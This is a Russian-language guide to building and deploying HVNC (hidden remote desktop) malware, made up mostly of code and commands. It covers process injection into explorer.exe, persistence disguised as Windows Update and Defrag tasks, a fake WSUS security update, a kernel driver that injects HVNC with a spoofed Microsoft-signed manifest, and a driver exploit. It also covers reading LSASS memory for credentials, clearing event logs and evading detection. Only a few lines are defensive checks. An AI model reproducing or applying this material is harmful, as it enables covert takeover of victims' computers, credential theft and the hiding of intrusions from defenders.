[HVNC 2025] Полное руководство по скрытому удалённому доступу

1. Создаётся скрытый рабочий стол
2. Перехватываются ввод/вывод
3. Данные передаются по сети

git clone https://github.com/example/hvnc-tool
cd hvnc-tool
make

./hvnc_server --port 5900 --password P@ssw0rd --hidden

./hvnc_client --target 192.168.1.100 --port 5900 --password P@ssw0rd

Get-NetTCPConnection | Where {$_.State -eq "Established"}

Get-Process | Select Name, Id, Path | Format-Table -AutoSize

Get-Process -IncludeUserName | Where {$_.Modules.ModuleName -match "hvnc"}

// Пример кода инъекции в explorer.exe
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
LPVOID mem = VirtualAllocEx(hProcess, NULL, payload_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, mem, payload, payload_size, NULL);
CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)mem, NULL, 0, NULL);

New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "WindowsUpdate" -Value "C:\temp\hvncdll.dll"

schtasks /create /tn "\Microsoft\Windows\Defrag\ManualDefrag" /tr "C:\Windows\Temp\hvncdll.dll" /sc onstart /ru SYSTEM

# Имитация легитимного обновления
$update = @{
    Title = "Security Update for Windows Defender (KB5034439)"
    Description = "Critical security update"
    UpdateId = [Guid]::NewGuid()
    DeploymentAction = "Install"
    IsMandatory = $true
}
New-WsusUpdate -ContentPath "C:\malware\hvnc.cab" -Properties $update

// Пример драйверного HVNC (упрощенный вариант)
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {
    DriverObject->DriverUnload = DriverUnload;
    PsSetLoadImageNotifyRoutine(ImageLoadCallback);
    return STATUS_SUCCESS;
}

VOID ImageLoadCallback(PUNICODE_STRING FullImageName, HANDLE ProcessId, PIMAGE_INFO ImageInfo) {
    if (wcsstr(FullImageName->Buffer, L"explorer.exe")) {
        InjectHVNC(ProcessId);
    }
}

<!-- Пример манифеста обновления -->
<Update>
  <Provider>Microsoft</Provider>
  <DriverPackage>
    <Manufacturer>Intel Corporation</Manufacturer>
    <HardwareID>PCI\VEN_8086</HardwareID>
    <Driver>hvnc_driver.sys</Driver>
    <Signature>Microsoft Windows Hardware Compatibility Publisher</Signature>
  </DriverPackage>
</Update>

NTSTATUS FilterDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    if (is_hvnc_request(Irp)) {
        process_hvnc_command(Irp);
        return STATUS_SUCCESS;
    }
    return IoCallDriver(nextDevice, Irp);
}

# Через уязвимость (CVE-2025-3690)
.\exp.exe -d hvnc.sys -t \\.\IntelDriver

# Легальная установка (с подписью)
pnputil -i -a hvnc.inf

NTSTATUS ReadProcessMemory(HANDLE pid, PVOID address, PVOID buffer, SIZE_T size) {
    PEPROCESS process;
    PsLookupProcessByProcessId(pid, &process);
    SIZE_T bytesRead;
    MmCopyVirtualMemory(process, address, PsGetCurrentProcess(), buffer, size, KernelMode, &bytesRead);
    return STATUS_SUCCESS;
}

wevtutil cl "Microsoft-Windows-Kernel-Process/Operational"
del C:\Windows\Temp\tmp.tmp /f /q

# PowerShell: Проверка подписанных драйверов
Get-WindowsDriver -Online | Where {$_.IsSigned -eq $false}

// Вместо вызова Mimikatz:
NtReadVirtualMemory(lsass_handle, ...)

// Драйвер использует:
MmCopyVirtualMemory(lsass_process, ...)

mov eax, [edi+0x1234]  // Обход детекта хэндлов
jmp faked_kernel_entry

# PowerShell: Поиск подозрительных драйверов
Get-WmiObject Win32_PnPSignedDriver | Where {$_.DeviceName -match "hvnc|mimi"}